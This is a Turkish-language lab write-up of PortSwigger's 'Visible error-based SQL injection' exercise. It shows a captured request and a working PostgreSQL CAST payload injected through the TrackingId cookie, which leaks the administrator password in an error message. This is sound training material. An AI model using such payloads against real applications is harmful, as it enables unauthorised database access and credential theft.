> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/in-band-sql-injection/visible-error-based-sql-injection-cozumu.md).

# Visible error-based SQL injection Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

SQL Injection varmış, tracking cookie değerini kullanarak kullanıcıyı takip ediyormuş ve bu değeri SQL sorgusuna dahil ediyormuş. Burada SQL Injection yapıcaz demek. Yaptığımız sorgu sonuçları dönmüyormuş. Veritabanındaki users tablosundan administrator’ın şifresini bulup giriş yap diyor.

Sayfa aşağıdaki gibi:

<figure><img src="/files/67Y2vzPwrygKIBdiXzb3" alt=""><figcaption></figcaption></figure>

Sayfayı yenieyip, burp proxy ile isteği yakalayıp repeater’a atıyoruz.

<figure><img src="/files/LO63ra7lj5EhmQa59gLm" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET / HTTP/1.1
Host: 0a1a000303b2171c8714204d00380031.web-security-academy.net
Cookie: TrackingId=GZ3ximL2a4oOGA9b; session=zgcuQdbQULx64Hcz8JNZW1OvlJLQHqBM
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://portswigger.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

Burada TrackingId değerinden SQL Injection yapıcaz. Gelin bi hata verdirelim, hata mesajı dönüyormuymuş, başlıkta visible demiş.

(Kendi TrackingId'nizi buraya yazın veya silip sadece tek tırnakla başlayın.)

`GZ3ximL2a4oOGA9b'`

<figure><img src="/files/oVrQ8UgwEwRm88Y3SSfa" alt=""><figcaption></figcaption></figure>

Hata mesajını görebiliyoruz. Acaba ağzından administrator şifresini kaçırmasını sağlayabilir miyiz?

Şimdi ilk hangi veritabanı bunu anlamalıyız, bunun aklıma gelen en pratik yolu hata mesajını alıp google’a yazmak, benzer biri hata mesajı paylaştıysa zaten hangi veritabanı olduğunu anlarız.

<figure><img src="/files/uUz7dm9xLqw4Bfz6sGjh" alt=""><figcaption></figcaption></figure>

`Unterminated string literal` hatasını PSQL de almış Yani PostgreSQL kullanıyormuş.

Şimdi payloadu hazırlayabiliriz, cheatsheet’de şunu vermiş

`SELECT CAST((SELECT password FROM users LIMIT 1) AS int)`

Buradaki temel mantık şu: Veritabanından şifreyi string(metin) çekip, bunu zorla integer(tam sayı)’a dönüştürmeye (`CAST`) çalışacağız. PostgreSQL de hata mesajında bunu integer’a çeviremiyorum diyecek ve şifreyi verecek.

`GZ3ximL2a4oOGA9b' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--`

Verdiği hataya bakalım:

```bash
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'GZ3ximL2a4oOGA9b' AND 1=CAST((SELECT password FROM users LIM'. Expected  char
```

95 karakterden sonrasına bakmamış uzunluk sınırı var, TrackingId yi tam verme zorunluluğum yok silip yer kazanabiliriz.

`' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--`

```bash
ERROR: invalid input syntax for type integer: "8o1tm9bmknsuj219lnz6"
```

şifre verdi bunu yerden kazanmak için `LIMIT 1` le aldık, genelde ilk oluşturulan şifre admindir ama adminin mi yüzde yüz emin değiliz. Deneyelim yine de, bize administrator ile login yaparak lab’ı tamamlamızı söylemiş, “My account” üzerine tıklayıp gelen login sayfasına elinizdeki bilgilerle giriş yapmaya çalışalım.

<figure><img src="/files/Os1ZaP9p0y7ZCsD8dGHi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BSnqxcBd8DnLyVaxFWAQ" alt=""><figcaption></figcaption></figure>

Gördüğünüz gibi başarıyla labı tamamladık.
